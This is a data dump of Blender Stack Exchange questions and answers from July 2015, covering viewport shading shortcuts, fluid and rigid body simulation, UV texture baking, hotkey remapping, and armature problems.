  <row Id="33363" PostTypeId="1" AcceptedAnswerId="33365" CreationDate="2015-07-03T07:41:02.037" Score="1" ViewCount="3101" Body="&lt;p&gt;Is it possible to make the keyboard button toggle between wireframe and textured &#xA;instead of wireframe and solid? &lt;/p&gt;&#xA;" OwnerUserId="14034" LastActivityDate="2015-07-03T08:30:14.453" Title="make &quot;z&quot; toggle between textured mode and wireframe?" Tags="&lt;3d-view&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33364" PostTypeId="2" ParentId="33363" CreationDate="2015-07-03T08:17:51.673" Score="1" Body="&lt;p&gt;First, note that one can already activate &quot;Textured&quot; mode by pressing the key combination &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;, and change this back to wireframe by pressing the &lt;kbd&gt;Z&lt;/kbd&gt; key. &lt;kbd&gt;SHFT&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; activates &quot;rendered&quot; mode, and it, too, is canceled by pressing the &lt;kbd&gt;Z&lt;/kbd&gt; key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to answer the question, yes. The key bindings can be reassigned by changing the bindings in: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;User Preferences &gt; Input &gt; 3D View &gt; Context toggle values.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-07-03T08:30:14.453" LastActivityDate="2015-07-03T08:30:14.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33365" PostTypeId="2" ParentId="33363" CreationDate="2015-07-03T08:18:58.980" Score="5" Body="&lt;p&gt;It sure is. Just go to Blender's preferences in the Input tab. Search by key-binding: &quot;z&quot;. In the 3D View section you will find three &quot;Context Toggle Values&quot; shortcuts, one being assigned to the z key only (no modifier keys). Expand this and change the value of &quot;SOLID&quot; to &quot;TEXTURED&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VbuFN.png&quot; alt=&quot;Blender keyboard configuration so that Z toggles Viewport Shading between Textured and Wireframe views&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a small yet notable inconsistency in labeling that, in the UI it is listed as &quot;Texture&quot; yet its value name is &quot;TEXTURED&quot; with a D on the end.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="3401" LastEditDate="2015-07-03T08:21:09.700" LastActivityDate="2015-07-03T08:21:09.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33366" PostTypeId="2" ParentId="33362" CreationDate="2015-07-03T09:09:57.437" Score="1" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UzjeA.jpg&quot; alt=&quot;enter image description here&quot;&gt;One way to get stripes is to use a 'Checker Texture' and use a 'Mapping' node to stretch the texture in one axis. Of course this would only produce a two-color striped texture and it appears that you want a multi-colored texture. In that case I think you could layer some 'Checker Textures' using Alpha and offsetting their mapping coordinates. I'll give it a try to see if it's a viable solution and let you know how it goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to work (if I understand your question correctly). You would have to play with the values to achieve the thin black line. &lt;/p&gt;&#xA;" OwnerUserId="15159" LastEditorUserId="15159" LastEditDate="2015-07-03T10:07:33.627" LastActivityDate="2015-07-03T10:07:33.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33368" PostTypeId="1" CreationDate="2015-07-03T11:45:02.187" Score="1" ViewCount="1485" Body="&lt;p&gt;I have a problem with fluids and I cant seem to find the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a coffee mug which I want to fill with coffee. So I made a cylinder in the mug that turns into liquid when rendering. A little bit of the coffee gets spilled (as should happen if you manage to throw 21 cl as a drop in the mug).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here comes the problem when the coffee gushes up and touches the domain ceiling, at frame 16, all the fluids in the domain disappears in the next frame. I looked in the domain and liquid object settings but I cant seem to find the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot&lt;img src=&quot;https://i.stack.imgur.com/HIafH.png&quot; alt=&quot;Screen!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frame 16&lt;img src=&quot;https://i.imgur.com/dLQynvu.png&quot; alt=&quot;Screen!&quot;&gt;&#xA;Frame 17&lt;img src=&quot;https://i.imgur.com/7SkO4eW.png&quot; alt=&quot;Screen!&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15386" LastEditorUserId="15386" LastEditDate="2015-07-04T11:35:26.147" LastActivityDate="2017-11-24T18:42:47.433" Title="Fluid suddenly disappears" Tags="&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="33370" PostTypeId="1" AcceptedAnswerId="33382" CreationDate="2015-07-03T12:56:05.443" Score="0" ViewCount="139" Body="&lt;p&gt;I have model, imported from STL a file, and cleaned up the mess with triangles a little. I removed all doubled vertices and edges.&#xA;So I clicked together all linked faces manually and made one out of them using &quot;Make Face&quot;.&#xA;Now I have a rounded face that looks not that nice, see the screenshot, please.&#xA;What went wrong there?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4xNRL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate your help.&#xA;Cheers&#xA;Stefan&lt;/p&gt;&#xA;" OwnerUserId="15388" LastActivityDate="2015-12-22T18:25:06.950" Title="refine rounded face" Tags="&lt;edges&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33371" PostTypeId="1" CreationDate="2015-07-03T13:03:46.383" Score="0" ViewCount="969" Body="&lt;p&gt;I have a fully rigged human character and want this guy to lay flat on a cube with the back. The lower legs should be pulled downwards by gravity at the knees.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6ltYa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add physics to the armature itself, not the whole object as one body?&lt;/p&gt;&#xA;" OwnerUserId="15388" LastActivityDate="2015-07-03T13:03:46.383" Title="Apply rigid body physics to armature" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33372" PostTypeId="1" CreationDate="2015-07-03T13:09:35.437" Score="0" ViewCount="672" Body="&lt;p&gt;Is there any way yet to delete screen datablocks in outliner ? I have a couple of temp screens from my old startup file that freeze 2.75. &lt;/p&gt;&#xA;" OwnerUserId="15389" LastActivityDate="2015-08-03T11:34:26.443" Title="How to delete screen datablock" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33373" PostTypeId="1" CreationDate="2015-07-03T13:17:18.927" Score="0" ViewCount="908" Body="&lt;p&gt;I've created texture for my model using the &quot;project from view&quot; and edited it externally. However, to use it, it needs to be exported from blender as a uv map (with the colors on) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As suggested I've added a picture trying to describe what I'm looking for. This is the best way I can put it. (UV map in bottom right is what I'm looking for. Where the texture from the gun would be pinned down on a UV map to match the UV map. This is for CS:GO where the guns need the texture to be painted on the UV map)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T77wc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15211" LastEditorUserId="15211" LastEditDate="2015-07-03T18:20:17.217" LastActivityDate="2015-07-05T18:14:56.220" Title="Export &quot;Project from view&quot; texture as uv texture" Tags="&lt;modeling&gt;&lt;export&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33375" PostTypeId="2" ParentId="33340" CreationDate="2015-07-03T13:34:40.683" Score="1" Body="&lt;p&gt;Well, most oftenly in cases like that people create backdrop, a plane that is slowly curving upwards at the end to make it blend with the floor.&#xA;Not sure if that's what you want or if it will work for you, just notifying.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-07-03T13:34:40.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33377" PostTypeId="1" CreationDate="2015-07-03T14:05:21.100" Score="4" ViewCount="470" Body="&lt;p&gt;I tried this code that I found in the net in order to print the location of the camera in each frame of the animation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;camera=bpy.data.objects['Camera']&#xA;sce = bpy.context.scene&#xA;&#xA;for f in range(sce.frame_start, sce.frame_end+1):&#xA;    sce.frame_set(f)&#xA;    print(&quot;Frame %i&quot; % f)&#xA;    print(camera.location)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After execution I get a fix location while the animation is fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Vector (-35.4940, -2.9554, 5.3437)&amp;gt;&#xA;Frame 41&#xA;&amp;lt;Vector (-35.4940, -2.9554, 5.3437)&amp;gt;&#xA;Frame 42&#xA;&amp;lt;Vector (-35.4940, -2.9554, 5.3437)&amp;gt;&#xA;Frame 43&#xA;&amp;lt;Vector (-35.4940, -2.9554, 5.3437)&amp;gt;&#xA;Frame 44&#xA;&amp;lt;Vector (-35.4940, -2.9554, 5.3437)&amp;gt;&#xA;Frame 45&#xA;&amp;lt;Vector (-35.4940, -2.9554, 5.3437)&amp;gt;&#xA;Frame 46&#xA;&amp;lt;Vector (-35.4940, -2.9554, 5.3437)&amp;gt;&#xA;Frame 47&#xA;&amp;lt;Vector (-35.4940, -2.9554, 5.3437)&amp;gt;&#xA;Frame 48&#xA;&amp;lt;Vector (-35.4940, -2.9554, 5.3437)&amp;gt;&#xA;Frame 49&#xA;&amp;lt;Vector (-35.4940, -2.9554, 5.3437)&amp;gt;&#xA;Frame 50&#xA;&amp;lt;Vector (-35.4940, -2.9554, 5.3437)&amp;gt;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I rectify the code ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried also the code given in this discussion : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/5636/how-can-i-get-the-location-of-an-object-at-each-keyframe&quot;&gt;How can I get the location of an object at each keyframe?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it doesn't work. I get the following error : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AttributeError: 'NoneType' object has no attribute 'action'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="15391" LastEditorUserId="241" LastEditDate="2015-07-03T14:10:22.330" LastActivityDate="2015-07-03T17:00:38.693" Title="Get position of the camera in each frame of the animation" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2015-07-03T19:30:18.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="33378" PostTypeId="1" CreationDate="2015-07-03T14:51:58.780" Score="0" ViewCount="618" Body="&lt;p&gt;This is not a request for help but more an observation that invites other observations related to it. It has to do with rotation animation in Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that in the following the object being animated is at the world center and has no scaling or rotation.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Animating a &quot;cube&quot; seems very straightforward. Set keyframes at desired start and stop frames with 0 and at 360 rotation, respectively. Modify Graph Editor settings as needed. The cube rotates perfectly. Adding an &quot;empty&quot; in this case is superfluous.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Animating a UV sphere, however, can get tricky. Following the same steps as above, the sphere does NOT rotate as one would expect. It appears to start rotating in the desired direction but then stops and begins rotating in the reverse direction. I broke it up into four different rotation steps but that did not help. The only thing that worked was to parent the sphere to an empty and animate the empty. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I even went so far as loading the &quot;factory&quot; defaults to make sure I had not altered something that would cause this. The same thing happens. The fact it can be worked around makes it a low priority thing but it raises a question for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why doesn't the sphere behave exactly like the cube when animating? I assume the nature of the sphere's geometry is somehow involved but a cylinder animates correctly like the cube. Same with the monkey and the monkey is somewhat spherical topologically. So what is it about the UV sphere that makes it prone to this odd behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, it is only the UV sphere that is giving this odd result. I'm on Blender 2.75 (just released) but I recall running into this problem in previous versions of Blender although I don't recall the details now and I was able to find a workaround. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone tries this, let me know if you see the same odd behavior I'm seeing. The sphere, animated to rotate about 360 in a given timespan appears to rotate in one direction then reverses and rotates in the opposite direction. I thought it might be the rotation itself was fooling my eyes but I watched the &quot;Rotation&quot; values during the animation and those values validate what I'm seeing.&lt;/p&gt;&#xA;" OwnerUserId="15392" LastActivityDate="2015-07-03T17:51:48.953" Title="Rotation Animation" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33379" PostTypeId="2" ParentId="33342" CreationDate="2015-07-03T15:51:01.397" Score="5" Body="&lt;p&gt;Here is an example to illustrate how you can use Empties to control some aspect of your material - in your case textures. This is how it is done in Cycles, so hopefully you are able to carry this concept over into your game code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a basic black and white spherical gradient appearing on a simple landscape object. The placement and size of the gradient are determined by the Empty (it's located where the 3D Cursor is in the screen shot). The Color Ramp is for controlling the falloff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hlvw0.png&quot; alt=&quot;An example of how Material color can be controlled using an Empty&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is an example of what this technique can produce when you have multiple Empties and they are actually controlling textures instead of just a color result. In the screen shot below two Empties are used against a base grass texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YB6YL.jpg&quot; alt=&quot;An example of how Material textures can be controlled using Empties&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/1153/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=1153&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2016-03-30T20:14:37.323" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33382" PostTypeId="2" ParentId="33370" CreationDate="2015-07-03T16:29:58.847" Score="2" Body="&lt;p&gt;The problem with using &quot;Make Edge/Face&quot; in this case is that the resulting face is an n-gon. Since the resulting face can't make that kind of smooth curve it will look strange depending on the angle from which it is viewed. Instead, you can try using &quot;Bridge Edge Loops&quot;. Just be sure to only select the curved edges and not the two edges that connect them like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d9Ro6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you should get this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/48BqC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't work it's most likely because the number of edges on each side are unequal which you can check in the info panel on the upper right side of the screen.&lt;/p&gt;&#xA;" OwnerUserId="15159" LastEditorUserId="3401" LastEditDate="2015-12-22T18:25:06.950" LastActivityDate="2015-12-22T18:25:06.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33383" PostTypeId="2" ParentId="33061" CreationDate="2015-07-03T16:49:07.703" Score="1" Body="&lt;p&gt;It turns out that this isn't a bug. I found that I have to check &quot;Proxy/timecode&quot; in the movie clip editor and set &quot;Use timecode index&quot; to &quot;Record run.&quot; Now it works fine.&lt;/p&gt;&#xA;" OwnerUserId="15260" LastActivityDate="2015-07-03T16:49:07.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33385" PostTypeId="1" CreationDate="2015-07-03T17:08:45.853" Score="2" ViewCount="1443" Body="&lt;p&gt;I made a model with materials from blender assigned on it (using cycles render) and I tried to take the model to unity but the materials won't show up. I thought the materials were attached to the object or the blender file. It seems I'm was wrong. Do I have to use unity materials? Do I have to apply the material to the uv map and save the image so I can use it within unity? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just if someone could explain me if it's preferable to always save it on the uv map for that kind of work or am doing something wrong and there is another way?&lt;/p&gt;&#xA;" OwnerUserId="15395" LastEditorUserId="29" LastEditDate="2015-07-03T18:22:43.390" LastActivityDate="2015-07-03T19:14:25.750" Title="Materials to unity" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ClosedDate="2015-07-03T19:29:44.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="33386" PostTypeId="1" CreationDate="2015-07-03T17:46:33.710" Score="0" ViewCount="2111" Body="&lt;p&gt;I'm fairly new to Blender, so forgive me if I'm asking a simple question. I've followed tutorial after tutorial and no one seems to have this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I unwrapped my model, painted it (poorly), and everything is hunky-dory as far as viewing it in texture paint mode. However, when I switch to object mode, the model doesn't show the texture. What am I doing wrong? I know that if I need it to render properly I need to set a material and everything, but shouldn't it show in the object view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Texture Paint Mode:&#xA;&lt;img src=&quot;https://i.imgur.com/5dHX5gA.png&quot; alt=&quot;texture paint mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Object Mode (note: &quot;Textured Solid&quot; under Shading is enabled)&#xA;&lt;img src=&quot;https://i.imgur.com/qCC67Tx.png&quot; alt=&quot;object mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if I set the dropdown menu at the bottom to &quot;Texture&quot; it doesn't display a texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What dumb mistake am I making here? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="15396" LastActivityDate="2015-09-18T17:52:59.903" Title="Texture (from texture paint mode) not showing up in object or edit modes" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33388" PostTypeId="1" AcceptedAnswerId="33395" CreationDate="2015-07-03T19:06:55.300" Score="3" ViewCount="1757" Body="&lt;p&gt;I'm trying to get a single function mapped to multiple hotkeys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I want to rotate the 3d view by holding shift+middle mouse button or the * key on the num key. (Pan has been moved to middle mouse) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either solution works independently, but I have a problem that if I use the knife tool with * (my preferred solution because I cannot make a macro to press shift+middle mouse on my mouse) it will not rotate, so I would like in that instance to be able to press shift plus middle mouse even though normally I would like ot press *.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see multiple &quot;View3D.rotate&quot; I can change the hotkey of, but only the first actually works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice? (Even telling me how to Macro my Naga mouse would be helpful ahah) &lt;/p&gt;&#xA;" OwnerUserId="15397" LastActivityDate="2020-12-09T20:56:08.037" Title="Multiple hotkeys for the same function" Tags="&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33389" PostTypeId="2" ParentId="33385" CreationDate="2015-07-03T19:14:25.750" Score="1" Body="&lt;p&gt;Unity can't neither use the the materials definition from cycles nor Blender internal. So far I had no success assigning multiple materials in Unity to a single mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I need to, I split the mesh into child objects and assign appropriate shaders. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When all Blender materials have a texture it's way easier to create a combined texture that covers all used textures. A texture can be assigned to almost all Unity shaders (including bump and specular maps).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/32871/joining-different-uvmaps-from-different-objects/32895#32895&quot;&gt;Joining different UVmaps from different objects&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-07-03T19:14:25.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33390" PostTypeId="1" CreationDate="2015-07-03T20:18:47.807" Score="0" ViewCount="2321" Body="&lt;p&gt;After cell-fractured objects explode and land on the ground, they are still moving for some reason. How to make object act more realistically so they stop moving after a while.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wfnyt.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-03T20:18:47.807" Title="Stop rigid body objects to shake on the ground" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33393" PostTypeId="2" ParentId="33372" CreationDate="2015-07-03T21:58:12.520" Score="1" Body="&lt;p&gt;To delete one or several &lt;a href=&quot;http://www.blender.org/manual/getting_started/basics/interface/screens.html?highlight=screen&quot; rel=&quot;nofollow noreferrer&quot;&gt;screen layouts&lt;/a&gt; you should use Info window:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/44NyC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the same technique as for &lt;a href=&quot;https://blender.stackexchange.com/questions/100/how-do-i-completely-remove-an-image-from-my-blend-file&quot;&gt;deleting images&lt;/a&gt; is used, i.e with &lt;kbd&gt;Shift&lt;/kbd&gt; pressed click &lt;img src=&quot;https://i.stack.imgur.com/LxIvd.jpg&quot; alt=&quot;enter image description here&quot;&gt; button near the screen layout name to delete it completely from the .blend (it will disappear after reboot). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To delete many layouts, it may be easier to &lt;a href=&quot;https://blender.stackexchange.com/questions/15023/clearing-screen-layout-list&quot;&gt;delete all of them&lt;/a&gt; except for one.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-07-03T21:58:12.520" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="33395" PostTypeId="2" ParentId="33388" CreationDate="2015-07-03T23:26:57.607" Score="4" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U4nne.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;At the bottom of the 3D View input list, click on the &quot;Add New&quot; Button. A new command will then appear at the bottom of the listed named &quot;None&quot;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the triangle to the left of the word &quot;None&quot; to expand the options for the command. Enter this text: &lt;strong&gt;view3d.rotate&lt;/strong&gt; (as shown in the image below) and press Enter. At this point the name of the command will change from &quot;None&quot; to &quot;Rotate View&quot; and you can choose you input command. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You may also want to double check that the command is not already in use by searching for it in the &quot;Key Bindings&quot; search box at the top of the list. If it is in use you can just disable it by clicking on the checkmark next to its name. That way you won't have any conflicts... hopefully. &lt;/p&gt;&#xA;" OwnerUserId="15159" LastEditorUserId="15159" LastEditDate="2015-07-05T16:54:01.827" LastActivityDate="2015-07-05T16:54:01.827" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33396" PostTypeId="2" ParentId="33373" CreationDate="2015-07-03T23:59:20.937" Score="1" Body="&lt;p&gt;You can Bake the texture onto your UV map.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;with your model selected in the 3d View, open the Uv/Image Editor and create a new image. Name it and dimension it however you like. Otherwise you can just leave the image blank for now.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With your model still selected in the 3d View, open the Node Editor. You don't need to mess with the material at all. Just add an Image Texture node using the blank image you just created. &lt;strong&gt;Make sure the Image Texture node is selected&lt;/strong&gt;. It should have a brighter border than notes that aren't selected. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;strong&gt;Render Panel&lt;/strong&gt; of the Properties Editor, scroll down to the Bake section. The default Bake Type is Combined. If you just want the diffuse portion of the material, select &lt;strong&gt;Diffuse Color&lt;/strong&gt; from the dropdown list.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;strong&gt;Bake&lt;/strong&gt; and the texture should appear in UV Editor aligned with your model's UV map.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uRlM1.jpg&quot; alt=&quot;Baked Texture&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pink stripes mapped to original material with a separate 'Projected from View' UV map. Return to step one to bake as one texture map. Just be sure to have the original UV selected as active in the Properties Editor when doing so.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AIe0Q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15159" LastEditorUserId="15159" LastEditDate="2015-07-05T18:14:56.220" LastActivityDate="2015-07-05T18:14:56.220" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="33398" PostTypeId="1" AcceptedAnswerId="33404" CreationDate="2015-07-04T00:41:36.987" Score="1" ViewCount="252" Body="&lt;p&gt;I have a character made of 5 different parts, each with 5 different meshes and armatures (one for each limb and one for the head and torso). All armatures have been parented to the 5 meshes with automatic weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t7qph.png&quot; alt=&quot;5 different meshes, 5 different armatures&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 of the armatures work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NmAwh.gif&quot; alt=&quot;Working armature&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other 2 act differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3YvzV.gif&quot; alt=&quot;Misbehaving armature&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wherever the bones are placed, the mesh deforms in the opposite way. I've tried recalculating the normals on the mesh, as well as lining up the origins of the meshes and armatures, but this problem persists. What is a possible solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FOOqY.png&quot; alt=&quot;Still image of armature problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend:&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/315/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=315&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2613" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-07-04T02:34:11.173" Title="Problem: Armature deforms mesh opposite of bone positions" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33399" PostTypeId="1" AcceptedAnswerId="33413" CreationDate="2015-07-04T00:59:47.897" Score="2" ViewCount="104" Body="&lt;p&gt;I don't know if this is possible... but I want to change the direction  in which a menu is diplayed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I search in API and I don't find anything... some ideas??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z33nZ.png&quot; alt=&quot;change direction of menu&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11077" LastActivityDate="2015-07-04T09:53:06.977" Title="How to change the direction in which a menu is displayed?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
